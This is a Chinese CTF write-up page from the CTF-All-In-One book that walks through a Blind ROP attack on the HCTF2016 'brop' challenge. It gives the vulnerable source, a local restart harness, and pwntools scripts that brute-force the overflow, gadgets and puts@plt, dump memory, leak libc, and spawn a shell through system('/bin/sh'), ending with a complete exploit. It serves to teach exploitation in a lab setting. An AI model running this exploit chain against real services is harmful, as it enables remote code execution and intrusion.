📊
CTF-All-In-One
  • 简介
  • 前言
  • 一、基础知识篇
    • 1.1 CTF 简介
    • 1.2 学习方法
    • 1.3 Linux 基础
    • 1.4 Web 安全基础
      • 1.4.1 HTML 基础
      • 1.4.2 HTTP 协议基础
      • 1.4.3 JavaScript 基础
      • 1.4.4 常见 Web 服务器基础
      • 1.4.5 OWASP Top Ten Project 漏洞基础
      • 1.4.6 PHP 源码审计基础
    • 1.5 逆向工程基础
      • 1.5.1 C/C++ 语言基础
      • 1.5.2 汇编基础
      • 1.5.3 Linux ELF
      • 1.5.4 Windows PE
      • 1.5.5 静态链接
      • 1.5.6 动态链接
      • 1.5.7 内存管理
      • 1.5.8 glibc malloc
      • 1.5.9 Linux 内核
      • 1.5.10 Windows 内核
      • 1.5.11 jemalloc
    • 1.6 密码学基础
      • 1.6.1 密码学导论
      • 1.6.2 流密码
      • 1.6.3 分组密码
      • 1.6.4 公钥密码
      • 1.6.5 消息认证和哈希函数
      • 1.6.6 数字签名
      • 1.6.7 密码协议
      • 1.6.8 密钥分配与管理
      • 1.6.9 数字货币
    • 1.7 Android 安全基础
      • 1.7.1 Android 环境搭建
      • 1.7.2 Dalvik 指令集
      • 1.7.3 ARM 汇编基础
      • 1.7.4 Android 常用工具
  • 二、工具篇
    • 虚拟化分析环境
      • 2.1.1 VirtualBox
      • 2.1.2 QEMU
      • 2.1.3 Docker
      • 2.1.4 Unicorn
    • 静态分析工具
      • 2.2.1 radare2
      • 2.2.2 IDA Pro
      • 2.2.3 JEB
      • 2.2.4 Capstone
      • 2.2.5 Keystone
      • 2.2.6 Ghidra
    • 动态分析工具
      • 2.3.1 GDB
      • 2.3.2 OllyDbg
      • 2.3.3 x64dbg
      • 2.3.4 WinDbg
      • 2.3.5 LLDB
    • 其他工具
      • 2.4.1 pwntools
      • 2.4.2 zio
      • 2.4.3 metasploit
      • 2.4.4 binwalk
      • 2.4.5 Burp Suite
      • 2.4.6 Wireshark
      • 2.4.7 Cuckoo Sandbox
  • 三、分类专题篇
    • Pwn
      • 3.1.1 格式化字符串漏洞
      • 3.1.2 整数溢出
      • 3.1.3 栈溢出
      • 3.1.4 返回导向编程(ROP)(x86)
      • 3.1.5 返回导向编程(ROP)(ARM)
      • 3.1.6 Linux 堆利用(一)
      • 3.1.7 Linux 堆利用(二)
      • 3.1.8 Linux 堆利用(三)
      • 3.1.9 Linux 堆利用(四)
      • 3.1.10 内核 ROP
      • 3.1.11 Linux 内核漏洞利用
      • 3.1.12 Windows 内核漏洞利用
      • 3.1.13 竞争条件
      • 3.1.14 虚拟机逃逸
    • Reverse
      • 3.2.1 patch 二进制文件
      • 3.2.2 脱壳技术(PE)
      • 3.2.3 脱壳技术(ELF)
      • 3.2.4 反调试技术(PE)
      • 3.2.5 反调试技术(ELF)
      • 3.2.6 指令混淆
    • Web
      • 3.3.1 SQL 注入利用
      • 3.3.2 XSS 漏洞利用
    • Crypto
    • Misc
      • 3.5.1 Lsb
    • Mobile
  • 四、技巧篇
    • 4.1 Linux 内核调试
    • 4.2 Linux 命令行技巧
    • 4.3 GCC 编译参数解析
    • 4.4 GCC 堆栈保护技术
    • 4.5 ROP 防御技术
    • 4.6 one-gadget RCE
    • 4.7 通用 gadget
    • 4.8 使用 DynELF 泄露函数地址
    • 4.9 shellcode 开发
    • 4.10 跳转导向编程(JOP)
    • 4.11 利用 mprotect 修改栈权限
    • 4.12 利用 __stack_chk_fail
    • 4.13 利用 _IO_FILE 结构
    • 4.14 glibc tcache 机制
    • 4.15 利用 vsyscall 和 vDSO
  • 五、高级篇
    • 5.0 软件漏洞分析
    • 5.1 模糊测试
      • 5.1.1 AFL fuzzer
      • 5.1.2 libFuzzer
    • 5.2 动态二进制插桩
      • 5.2.1 Pin
      • 5.2.2 DynamoRio
      • 5.2.3 Valgrind
    • 5.3 符号执行
      • 5.3.1 angr
      • 5.3.2 Triton
      • 5.3.3 KLEE
      • 5.3.4 S²E
    • 5.4 数据流分析
      • 5.4.1 Soot
    • 5.5 污点分析
      • 5.5.1 TaintCheck
    • 5.6 LLVM
      • 5.6.1 Clang
    • 5.7 程序切片
    • 5.8 SAT/SMT
      • 5.8.1 Z3
    • 5.9 基于模式的漏洞分析
    • 5.10 基于二进制比对的漏洞分析
    • 5.11 反编译技术
      • 5.11.1 RetDec
  • 六、题解篇
    • Pwn
      • 6.1.1 pwn HCTF2016 brop
      • 6.1.2 pwn NJCTF2017 pingme
      • 6.1.3 pwn XDCTF2015 pwn200
      • 6.1.4 pwn BackdoorCTF2017 Fun-Signals
      • 6.1.5 pwn GreHackCTF2017 beerfighter
      • 6.1.6 pwn DefconCTF2015 fuckup
      • 6.1.7 pwn 0CTF2015 freenote
      • 6.1.8 pwn DCTF2017 Flex
      • 6.1.9 pwn RHme3 Exploitation
      • 6.1.10 pwn 0CTF2017 BabyHeap2017
      • 6.1.11 pwn 9447CTF2015 Search-Engine
      • 6.1.12 pwn N1CTF2018 vote
      • 6.1.13 pwn 34C3CTF2017 readme_revenge
      • 6.1.14 pwn 32C3CTF2015 readme
      • 6.1.15 pwn 34C3CTF2017 SimpleGC
      • 6.1.16 pwn HITBCTF2017 1000levels
      • 6.1.17 pwn SECCONCTF2016 jmper
      • 6.1.18 pwn HITBCTF2017 Sentosa
      • 6.1.19 pwn HITBCTF2018 gundam
      • 6.1.20 pwn 33C3CTF2016 babyfengshui
      • 6.1.21 pwn HITCONCTF2016 Secret_Holder
      • 6.1.22 pwn HITCONCTF2016 Sleepy_Holder
      • 6.1.23 pwn BCTF2016 bcloud
      • 6.1.24 pwn HITCONCTF2016 House_of_Orange
      • 6.1.25 pwn HCTF2017 babyprintf
      • 6.1.26 pwn 34C3CTF2017 300
      • 6.1.27 pwn SECCONCTF2016 tinypad
      • 6.1.28 pwn ASISCTF2016 b00ks
      • 6.1.29 pwn Insomni'hack_teaserCTF2017 The_Great_Escape_part-3
      • 6.1.30 pwn HITCONCTF2017 Ghost_in_the_heap
      • 6.1.31 pwn HITBCTF2018 mutepig
      • 6.1.32 pwn SECCONCTF2017 vm_no_fun
      • 6.1.33 pwn 34C3CTF2017 LFA
      • 6.1.34 pwn N1CTF2018 memsafety
      • 6.1.35 pwn 0CTF2018 heapstorm2
      • 6.1.36 pwn NJCTF2017 messager
      • 6.1.37 pwn sixstarctf2018 babystack
      • 6.1.38 pwn HITCONCMT2017 pwn200
      • 6.1.39 pwn BCTF2018 house_of_Atum
      • 6.1.40 pwn LCTF2016 pwn200
      • 6.1.41 pwn PlaidCTF2015 PlaidDB
      • 6.1.42 pwn hacklu2015 bookstore
      • 6.1.43 pwn 0CTF2018 babyheap
      • 6.1.44 pwn ASIS2017 start_hard
      • 6.1.45 pwn LCTF2016 pwn100
    • Reverse
      • 6.2.1 re XHPCTF2017 dont_panic
      • 6.2.2 re ECTF2016 tayy
      • 6.2.3 re CodegateCTF2017 angrybird
      • 6.2.4 re CSAWCTF2015 wyvern
      • 6.2.5 re PicoCTF2014 Baleful
      • 6.2.6 re SECCONCTF2017 printf_machine
      • 6.2.7 re CodegateCTF2018 RedVelvet
      • 6.2.8 re DefcampCTF2015 entry_language
    • Web
      • 6.3.1 web HCTF2017 babycrack
    • Crypto
    • Misc
    • Mobile
  • 七、实战篇
    • CVE
      • 7.1.1 CVE-2017-11543 tcpdump sliplink_print 栈溢出漏洞
      • 7.1.2 CVE-2015-0235 glibc __nss_hostname_digits_dots 堆溢出漏洞
      • 7.1.3 CVE-2016-4971 wget 任意文件上传漏洞
      • 7.1.4 CVE-2017-13089 wget skip_short_body 栈溢出漏洞
      • 7.1.5 CVE–2018-1000001 glibc realpath 缓冲区下溢漏洞
      • 7.1.6 CVE-2017-9430 DNSTracer 栈溢出漏洞
      • 7.1.7 CVE-2018-6323 GNU binutils elf_object_p 整型溢出漏洞
      • 7.1.8 CVE-2010-2883 Adobe CoolType SING 表栈溢出漏洞
      • 7.1.9 CVE-2010-3333 Microsoft Word RTF pFragments 栈溢出漏洞
    • Malware
  • 八、学术篇
    • 8.1 The Geometry of Innocent Flesh on the Bone: Return-into-libc without Function Calls (on the x86)
    • 8.2 Return-Oriented Programming without Returns
    • 8.3 Return-Oriented Rootkits: Bypassing Kernel Code Integrity Protection Mechanisms
    • 8.4 ROPdefender: A Detection Tool to Defend Against Return-Oriented Programming Attacks
    • 8.5 Data-Oriented Programming: On the Expressiveness of Non-Control Data Attacks
    • 8.7 What Cannot Be Read, Cannot Be Leveraged? Revisiting Assumptions of JIT-ROP Defenses
    • 8.9 Symbolic Execution for Software Testing: Three Decades Later
    • 8.10 AEG: Automatic Exploit Generation
    • 8.11 Address Space Layout Permutation (ASLP): Towards Fine-Grained Randomization of Commodity Softwa
    • 8.13 New Frontiers of Reverse Engineering
    • 8.14 Who Allocated My Memory? Detecting Custom Memory Allocators in C Binaries
    • 8.21 Micro-Virtualization Memory Tracing to Detect and Prevent Spraying Attacks
    • 8.22 Practical Memory Checking With Dr. Memory
    • 8.23 Evaluating the Effectiveness of Current Anti-ROP Defenses
    • 8.24 How to Make ASLR Win the Clone Wars: Runtime Re-Randomization
    • 8.25 (State of) The Art of War: Offensive Techniques in Binary Analysis
    • 8.26 Driller: Augmenting Fuzzing Through Selective Symbolic Execution
    • 8.27 Firmalice - Automatic Detection of Authentication Bypass Vulnerabilities in Binary Firmware
    • 8.28 Cross-Architecture Bug Search in Binary Executables
    • 8.29 Dynamic Hooks: Hiding Control Flow Changes within Non-Control Data
    • 8.30 Preventing brute force attacks against stack canary protection on networking servers
    • 8.33 Under-Constrained Symbolic Execution: Correctness Checking for Real Code
    • 8.34 Enhancing Symbolic Execution with Veritesting
    • 8.38 TaintEraser: Protecting Sensitive Data Leaks Using Application-Level Taint Tracking
    • 8.39 DART: Directed Automated Random Testing
    • 8.40 EXE: Automatically Generating Inputs of Death
    • 8.41 IntPatch: Automatically Fix Integer-Overflow-to-Buffer-Overflow Vulnerability at Compile-Time
    • 8.42 Dynamic Taint Analysis for Automatic Detection, Analysis, and Signature Generation of Exploits
    • 8.43 DTA++: Dynamic Taint Analysis with Targeted Control-Flow Propagation
    • 8.44 Superset Disassembly: Statically Rewriting x86 Binaries Without Heuristics
    • 8.45 Ramblr: Making Reassembly Great Again
    • 8.46 FreeGuard: A Faster Secure Heap Allocator
    • 8.48 Reassembleable Disassembling
  • 九、附录
    • 9.1 更多 Linux 工具
    • 9.2 更多 Windows 工具
    • 9.3 更多资源
    • 9.4 Linux 系统调用表
    • 9.5 python2到3字符串转换
    • 9.6 幻灯片
Powered by GitBook
On this page
  • 题目复现
  • BROP 原理及题目解析
  • 漏洞利用
  • 栈溢出
  • stop gadget
  • common gadget
  • puts@plt
  • remote dump
  • puts@got
  • attack
  • exploit
  • 参考资料

Was this helpful?

  1. 六、题解篇
  2. Pwn

6.1.1 pwn HCTF2016 brop

PreviousPwnNext6.1.2 pwn NJCTF2017 pingme

Last updated 3 years ago

Was this helpful?

题目复现

出题人在 github 上开源了代码,。如下:

#include <stdio.h>
#include <unistd.h>
#include <string.h>

int i;
int check();

int main(void) {
    setbuf(stdin, NULL);
    setbuf(stdout, NULL);
    setbuf(stderr, NULL);

    puts("WelCome my friend,Do you know password?");
        if(!check()) {
            puts("Do not dump my memory");
        } else {
            puts("No password, no game");
        }
}

int check() {
    char buf[50];
    read(STDIN_FILENO, buf, 1024);
    return strcmp(buf, "aslvkm;asd;alsfm;aoeim;wnv;lasdnvdljasd;flk");
}

使用下面的语句编译,然后运行起来:

$ gcc -z noexecstack -fno-stack-protector -no-pie brop.c

checksec 如下:

$ checksec -f a.out
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FORTIFY  Fortified Fortifiable  FILE
Partial RELRO   No canary found   NX enabled    No PIE          No RPATH   No RUNPATH   No       0               2       a.out

由于 socat 在程序崩溃时会断开连接,我们写一个小脚本,让程序在崩溃后立即重启,这样就模拟出了远程环境 127.0.0.1:10001:

#!/bin/sh
while true; do
        num=`ps -ef | grep "socat" | grep -v "grep" | wc -l`
        if [ $num -lt 5 ]; then
                socat tcp4-listen:10001,reuseaddr,fork exec:./a.out &
        fi
done

在一个单独的 shell 中运行它,这样我们就简单模拟出了比赛时的环境,即仅提供 ip 和端口。(不停地断开重连特别耗CPU,建议在服务器上跑)

BROP 原理及题目解析

BROP 即 Blind ROP,需要我们在无法获得二进制文件的情况下,通过 ROP 进行远程攻击,劫持该应用程序的控制流,可用于开启了 ASLR、NX 和栈 canary 的 64-bit Linux。这一概念是是在 2014 年提出的,论文和幻灯片在参考资料中。

实现这一攻击有两个必要条件:

  1. 目标程序存在一个栈溢出漏洞,并且我们知道怎样去触发它

  2. 目标进程在崩溃后会立即重启,并且重启后进程被加载的地址不变,这样即使目标机器开启了 ASLR 也没有影响。

下面我们结合题目来讲一讲。

漏洞利用

栈溢出

首先是要找到栈溢出的漏洞,老办法从 1 个字符开始,暴力枚举,直到它崩溃。

def get_buffer_size():
    for i in range(100):
        payload  = "A"
        payload += "A"*i
        buf_size = len(payload) - 1
        try:
            p = remote('127.0.0.1', 10001)
            p.recvline()
            p.send(payload)
            p.recv()
            p.close()
            log.info("bad: %d" % buf_size)
        except EOFError as e:
            p.close()
            log.info("buffer size: %d" % buf_size)
            return buf_size
[*] buffer size: 72

要注意的是,崩溃意味着我们覆盖到了返回地址,所以缓冲区应该是发送的字符数减一,即 buf(64)+ebp(8)=72。该题并没有开启 canary,所以跳过爆破的过程。

stop gadget

在寻找通用 gadget 之前,我们需要一个 stop gadget。一般情况下,当我们把返回地址覆盖后,程序有很大的几率会挂掉,因为所覆盖的地址可能并不是合法的,所以我们需要一个能够使程序正常返回的地址,称作 stop gadget,这一步至关重要。stop gadget 可能不止一个,这里我们之间返回找到的第一个好了:

def get_stop_addr(buf_size):
    addr = 0x400000
    while True:
        sleep(0.1)
        addr += 1
        payload  = "A"*buf_size
        payload += p64(addr)
        try:
            p = remote('127.0.0.1', 10001)
            p.recvline()
            p.sendline(payload)
            p.recvline()
            p.close()
            log.info("stop address: 0x%x" % addr)
            return addr
        except EOFError as e:
            p.close()
            log.info("bad: 0x%x" % addr)
        except:
            log.info("Can't connect")
            addr -= 1

由于我们在本地的守护脚本略简陋,在程序挂掉和重新启动之间存在一定的时间差,所以这里 sleep(0.1) 做一定的缓冲,如果还是冲突,在 except 进行处理,后面的代码也一样。

[*] stop address: 0x4005e5

common gadget

有了 stop gadget,那些原本会导致程序崩溃的地址还是一样会导致崩溃,但那些正常返回的地址则会通过 stop gadget 进入被挂起的状态。下面我们就可以寻找其他可利用的 gadget,由于是 64 位程序,可以考虑使用通用 gadget(有关该内容请参见章节4.7):

def get_gadgets_addr(buf_size, stop_addr):
    addr = stop_addr
    while True:
        sleep(0.1)
        addr += 1
        payload  = "A"*buf_size
        payload += p64(addr)
        payload += p64(1) + p64(2) + p64(3) + p64(4) + p64(5) + p64(6)
        payload += p64(stop_addr)
        try:
            p = remote('127.0.0.1', 10001)
            p.recvline()
            p.sendline(payload)
            p.recvline()
            p.close()
            log.info("find address: 0x%x" % addr)
            try:    # check
                payload  = "A"*buf_size
                payload += p64(addr)
                payload += p64(1) + p64(2) + p64(3) + p64(4) + p64(5) + p64(6)

                p = remote('127.0.0.1', 10001)
                p.recvline()
                p.sendline(payload)
                p.recvline()
                p.close()
                log.info("bad address: 0x%x" % addr)
            except:
                p.close()
                log.info("gadget address: 0x%x" % addr)
                return addr
        except EOFError as e:
            p.close()
            log.info("bad: 0x%x" % addr)
        except:
            log.info("Can't connect")
            addr -= 1

直接从 stop gadget 的地方开始搜索就可以了。另外,找到一个正常返回的地址之后,需要进行检查,以确定是它确实是通用 gadget。

[*] gadget address: 0x40082a

有了通用 gadget,就可以得到 pop rdi; ret 的地址了,即 gadget address + 9。

puts@plt

plt 表具有比较规整的结构,每一个表项都是 16 字节,而在每个表项的 6 字节偏移处,是该表项对应函数的解析路径,所以先得到 plt 地址,然后 dump 出内存,就可以找到 got 地址。

这里我们使用 puts 函数来 dump 内存,比起 write,它只需要一个参数,很方便:

def get_puts_plt(buf_size, stop_addr, gadgets_addr):
    pop_rdi = gadgets_addr + 9      # pop rdi; ret;
    addr = stop_addr
    while True:
        sleep(0.1)
        addr += 1

        payload  = "A"*buf_size
        payload += p64(pop_rdi)
        payload += p64(0x400000)
        payload += p64(addr)
        payload += p64(stop_addr)
        try:
            p = remote('127.0.0.1', 10001)
            p.recvline()
            p.sendline(payload)
            if p.recv().startswith("\x7fELF"):
                log.info("puts@plt address: 0x%x" % addr)
                p.close()
                return addr
            log.info("bad: 0x%x" % addr)
            p.close()
        except EOFError as e:
            p.close()
            log.info("bad: 0x%x" % addr)
        except:
            log.info("Can't connect")
            addr -= 1

这里让 puts 打印出 0x400000 地址处的内容,因为这里通常是程序头的位置(关闭PIE),且前四个字符为 \x7fELF,方便进行验证。

[*] puts@plt address: 0x4005e7

成功找到一个地址,它确实调用 puts,打印出了 \x7fELF,那它真的就是 puts@plt 的地址吗,不一定,看一下呗,反正我们有二进制文件。

gdb-peda$ disassemble /r 0x4005f0
Dump of assembler code for function puts@plt:
   0x00000000004005f0 <+0>:     ff 25 22 0a 20 00       jmp    QWORD PTR [rip+0x200a22]        # 0x601018
   0x00000000004005f6 <+6>:     68 00 00 00 00  push   0x0
   0x00000000004005fb <+11>:    e9 e0 ff ff ff  jmp    0x4005e0
End of assembler dump.

不对呀,puts@plt 明明是在 0x4005f0,那么 0x4005e7 是什么鬼。

gdb-peda$ pdisass /r 0x4005e7,0x400600
Dump of assembler code from 0x4005e7 to 0x400600:
   0x00000000004005e7:  25 24 0a 20 00  and    eax,0x200a24
   0x00000000004005ec:  0f 1f 40 00     nop    DWORD PTR [rax+0x0]
   0x00000000004005f0 <puts@plt+0>:     ff 25 22 0a 20 00       jmp    QWORD PTR [rip+0x200a22]        # 0x601018
   0x00000000004005f6 <puts@plt+6>:     68 00 00 00 00  push   0x0
   0x00000000004005fb <puts@plt+11>:    e9 e0 ff ff ff  jmp    0x4005e0
End of assembler dump.

原来是由于反汇编时候的偏移,导致了这个问题,当然了前两句对后面的 puts 语句并没有什么影响,忽略它,在后面的代码中继续使用 0x4005e7。

remote dump

有了 puts,有了 gadget,就可以着手 dump 程序了:

def dump_memory(buf_size, stop_addr, gadgets_addr, puts_plt, start_addr, end_addr):
    pop_rdi  = gadgets_addr + 9     # pop rdi; ret

    result = ""
    while start_addr < end_addr:
        #print result.encode('hex')
        sleep(0.1)
        payload  = "A"*buf_size
        payload += p64(pop_rdi)
        payload += p64(start_addr)
        payload += p64(puts_plt)
        payload += p64(stop_addr)
        try:
            p = remote('127.0.0.1', 10001)
            p.recvline()
            p.sendline(payload)
            data = p.recv(timeout=0.1)      # timeout makes sure to recive all bytes
            if data == "\n":
                data = "\x00"
            elif data[-1] == "\n":
                data = data[:-1]
            log.info("leaking: 0x%x --> %s" % (start_addr,(data or '').encode('hex')))
            result += data
            start_addr += len(data)
            p.close()
        except:
            log.info("Can't connect")
    return result

我们知道 puts 函数通过 \x00 进行截断,并且会在每一次输出末尾加上换行符 \x0a,所以有一些特殊情况需要做一些处理,比如单独的 \x00、\x0a 等,首先当然是先去掉末尾 puts 自动加上的 ,然后如果 recv 到一个 ,说明内存中是 \x00,如果 recv 到一个 \n,说明内存中是 \x0a。p.recv(timeout=0.1) 是由于函数本身的设定,如果有 \n,它很可能在收到第一个 时就返回了,加上参数可以让它全部接收完。

这里选择从 0x400000 dump到 0x401000,足够了,你还可以 dump 下 data 段的数据,大概从 0x600000 开始。

puts@got

拿到 dump 下来的文件,使用 Radare2 打开,使用参数 -B 指定程序基地址,然后反汇编 puts@plt 的位置 0x4005e7,当然你要直接反汇编 0x4005f0 也行:

$ r2 -B 0x400000 code.bin
[0x00400630]> pd 14 @ 0x4005e7
     ::::   0x004005e7      25240a2000     and eax, 0x200a24
     ::::   0x004005ec      0f1f4000       nop dword [rax]
     ::::   0x004005f0      ff25220a2000   jmp qword [0x00601018]      ; [0x601018:8]=-1
     ::::   0x004005f6      6800000000     push 0
     `====< 0x004005fb      e9e0ffffff     jmp 0x4005e0
      :::   0x00400600      ff251a0a2000   jmp qword [0x00601020]      ; [0x601020:8]=-1
      :::   0x00400606      6801000000     push 1                      ; 1
      `===< 0x0040060b      e9d0ffffff     jmp 0x4005e0
       ::   0x00400610      ff25120a2000   jmp qword [0x00601028]      ; [0x601028:8]=-1
       ::   0x00400616      6802000000     push 2                      ; 2
       `==< 0x0040061b      e9c0ffffff     jmp 0x4005e0
        :   0x00400620      ff250a0a2000   jmp qword [0x00601030]      ; [0x601030:8]=-1
        :   0x00400626      6803000000     push 3                      ; 3
        `=< 0x0040062b      e9b0ffffff     jmp 0x4005e0

于是我们就得到了 puts@got 地址 0x00601018。可以看到该表中还有其他几个函数,根据程序的功能大概可以猜到,无非就是 setbuf、read 之类的,在后面的过程中如果实在无法确定 libc,这些信息可能会有用。

attack

后面的过程和无 libc 的利用差不多了,先使用 puts 打印出其在内存中的地址,然后在 libc-database 里查找相应的 libc,也就是目标机器上的 libc,通过偏移计算出 system() 函数和字符串 /bin/sh 的地址,构造 payload 就可以了。

def get_puts_addr(buf_size, stop_addr, gadgets_addr, puts_plt, puts_got):
    pop_rdi  = gadgets_addr + 9

    payload  = "A"*buf_size
    payload += p64(pop_rdi)
    payload += p64(puts_got)
    payload += p64(puts_plt)
    payload += p64(stop_addr)

    p = remote('127.0.0.1', 10001)
    p.recvline()
    p.sendline(payload)
    data = p.recvline()
    data = u64(data[:-1] + '\x00\x00')
    log.info("puts address: 0x%x" % data)
    p.close()

    return data
[*] puts address: 0x7ffff7a90210
$ ./add /usr/lib/libc-2.26.so
Adding local libc /usr/lib/libc-2.26.so (id local-e112b79b632f33fce6908f5ffd2f61a5d8058570  /usr/lib/libc-2.26.so)
  -> Writing libc to db/local-e112b79b632f33fce6908f5ffd2f61a5d8058570.so
  -> Writing symbols to db/local-e112b79b632f33fce6908f5ffd2f61a5d8058570.symbols
  -> Writing version info

然后查询(ASLR 并不影响后 12 位的值):

$ ./find puts 210
/usr/lib/libc-2.26.so (id local-e112b79b632f33fce6908f5ffd2f61a5d8058570)
$ ./dump local-e112b79b632f33fce6908f5ffd2f61a5d8058570
offset___libc_start_main_ret = 0x20f6a
offset_system = 0x0000000000042010
offset_dup2 = 0x00000000000e8100
offset_read = 0x00000000000e7820
offset_write = 0x00000000000e78c0
offset_str_bin_sh = 0x17aff5
$ ./dump local-e112b79b632f33fce6908f5ffd2f61a5d8058570 puts
offset_puts = 0x000000000006f210
offset_puts   = 0x000000000006f210
offset_system = 0x0000000000042010
offset_str_bin_sh = 0x17aff5

system_addr = (puts_addr - offset_puts) + offset_system
binsh_addr  = (puts_addr - offset_puts) + offset_str_bin_sh

# get shell
payload  = "A"*buf_size
payload += p64(gadgets_addr + 9)    # pop rdi; ret;
payload += p64(binsh_addr)
payload += p64(system_addr)
payload += p64(stop_addr)

p = remote('127.0.0.1', 10001)
p.recvline()
p.sendline(payload)
p.interactive()

Bingo!!!

$ python2 exp.py
[+] Opening connection to 127.0.0.1 on port 10001: Done
[*] Switching to interactive mode
$ whoami
firmy

exploit

完整的 exp 如下:

from pwn import *

#context.log_level = 'debug'

def get_buffer_size():
    for i in range(100):
        payload  = "A"
        payload += "A"*i
        buf_size = len(payload) - 1
        try:
            p = remote('127.0.0.1', 10001)
            p.recvline()
            p.send(payload)
            p.recv()
            p.close()
            log.info("bad: %d" % buf_size)
        except EOFError as e:
            p.close()
            log.info("buffer size: %d" % buf_size)
            return buf_size

def get_stop_addr(buf_size):
    addr = 0x400000
    while True:
        sleep(0.1)
        addr += 1
        payload  = "A"*buf_size
        payload += p64(addr)
        try:
            p = remote('127.0.0.1', 10001)
            p.recvline()
            p.sendline(payload)
            p.recvline()
            p.close()
            log.info("stop address: 0x%x" % addr)
            return addr
        except EOFError as e:
            p.close()
            log.info("bad: 0x%x" % addr)
        except:
            log.info("Can't connect")
            addr -= 1

def get_gadgets_addr(buf_size, stop_addr):
    addr = stop_addr
    while True:
        sleep(0.1)
        addr += 1
        payload  = "A"*buf_size
        payload += p64(addr)
        payload += p64(1) + p64(2) + p64(3) + p64(4) + p64(5) + p64(6)
        payload += p64(stop_addr)
        try:
            p = remote('127.0.0.1', 10001)
            p.recvline()
            p.sendline(payload)
            p.recvline()
            p.close()
            log.info("find address: 0x%x" % addr)
            try:    # check
                payload  = "A"*buf_size
                payload += p64(addr)
                payload += p64(1) + p64(2) + p64(3) + p64(4) + p64(5) + p64(6)

                p = remote('127.0.0.1', 10001)
                p.recvline()
                p.sendline(payload)
                p.recvline()
                p.close()
                log.info("bad address: 0x%x" % addr)
            except:
                p.close()
                log.info("gadget address: 0x%x" % addr)
                return addr
        except EOFError as e:
            p.close()
            log.info("bad: 0x%x" % addr)
        except:
            log.info("Can't connect")
            addr -= 1

def get_puts_plt(buf_size, stop_addr, gadgets_addr):
    pop_rdi = gadgets_addr + 9      # pop rdi; ret;
    addr = stop_addr
    while True:
        sleep(0.1)
        addr += 1

        payload  = "A"*buf_size
        payload += p64(pop_rdi)
        payload += p64(0x400000)
        payload += p64(addr)
        payload += p64(stop_addr)
        try:
            p = remote('127.0.0.1', 10001)
            p.recvline()
            p.sendline(payload)
            if p.recv().startswith("\x7fELF"):
                log.info("puts@plt address: 0x%x" % addr)
                p.close()
                return addr
            log.info("bad: 0x%x" % addr)
            p.close()
        except EOFError as e:
            p.close()
            log.info("bad: 0x%x" % addr)
        except:
            log.info("Can't connect")
            addr -= 1

def dump_memory(buf_size, stop_addr, gadgets_addr, puts_plt, start_addr, end_addr):
    pop_rdi  = gadgets_addr + 9     # pop rdi; ret

    result = ""
    while start_addr < end_addr:
        #print result.encode('hex')
        sleep(0.1)
        payload  = "A"*buf_size
        payload += p64(pop_rdi)
        payload += p64(start_addr)
        payload += p64(puts_plt)
        payload += p64(stop_addr)
        try:
            p = remote('127.0.0.1', 10001)
            p.recvline()
            p.sendline(payload)
            data = p.recv(timeout=0.1)      # timeout makes sure to recive all bytes
            if data == "\n":
                data = "\x00"
            elif data[-1] == "\n":
                data = data[:-1]
            log.info("leaking: 0x%x --> %s" % (start_addr,(data or '').encode('hex')))
            result += data
            start_addr += len(data)
            p.close()
        except:
            log.info("Can't connect")
    return result

def get_puts_addr(buf_size, stop_addr, gadgets_addr, puts_plt, puts_got):
    pop_rdi  = gadgets_addr + 9

    payload  = "A"*buf_size
    payload += p64(pop_rdi)
    payload += p64(puts_got)
    payload += p64(puts_plt)
    payload += p64(stop_addr)

    p = remote('127.0.0.1', 10001)
    p.recvline()
    p.sendline(payload)
    data = p.recvline()
    data = u64(data[:-1] + '\x00\x00')
    log.info("puts address: 0x%x" % data)
    p.close()

    return data

#buf_size = get_buffer_size()
buf_size = 72

#stop_addr = get_stop_addr(buf_size)
stop_addr = 0x4005e5

#gadgets_addr = get_gadgets_addr(buf_size, stop_addr)
gadgets_addr = 0x40082a

#puts_plt = get_puts_plt(buf_size, stop_addr, gadgets_addr)
puts_plt = 0x4005e7     # fake puts
#puts_plt = 0x4005f0    # true puts

# dump code section from memory
# and then use Radare2 or IDA Pro to find the got address
#start_addr = 0x400000
#end_addr   = 0x401000
#code_bin = dump_memory(buf_size, stop_addr, gadgets_addr, puts_plt, start_addr, end_addr)
#with open('code.bin', 'wb') as f:
#   f.write(code_bin)
#   f.close()
puts_got = 0x00601018

# you can also dump data from memory and get information from .got
#start_addr = 0x600000
#end_addr   = 0x602000
#data_bin = dump_memory(buf_size, stop_addr, gadgets_addr, puts_plt, start_addr, end_addr)
#with open('data.bin', 'wb') as f:
#    f.write(data_bin)
#    f.close()

# must close ASLR
#puts_addr = get_puts_addr(buf_size, stop_addr, gadgets_addr, puts_plt, puts_got)
puts_addr = 0x7ffff7a90210

# first add your own libc into libc-database: $ ./add /usr/lib/libc-2.26.so
# $ ./find puts 0x7ffff7a90210
# or $ ./find puts 210
# $ ./dump local-e112b79b632f33fce6908f5ffd2f61a5d8058570
# $ ./dump local-e112b79b632f33fce6908f5ffd2f61a5d8058570 puts
# then you can get the following offset
offset_puts   = 0x000000000006f210
offset_system = 0x0000000000042010
offset_str_bin_sh = 0x17aff5

system_addr = (puts_addr - offset_puts) + offset_system
binsh_addr  = (puts_addr - offset_puts) + offset_str_bin_sh

# get shell
payload  = "A"*buf_size
payload += p64(gadgets_addr + 9)    # pop rdi; ret;
payload += p64(binsh_addr)
payload += p64(system_addr)
payload += p64(stop_addr)

p = remote('127.0.0.1', 10001)
p.recvline()
p.sendline(payload)
p.interactive()

参考资料

这里插一下 的用法,由于我本地的 libc 版本比较新,可能未收录,就直接将它添加进去好了:

libc-database
Blind Return Oriented Programming (BROP)
Blind Return Oriented Programming (BROP) Attack (1)
下载文件
出题人失踪了
题目复现
BROP 原理及题目解析
漏洞利用
参考资料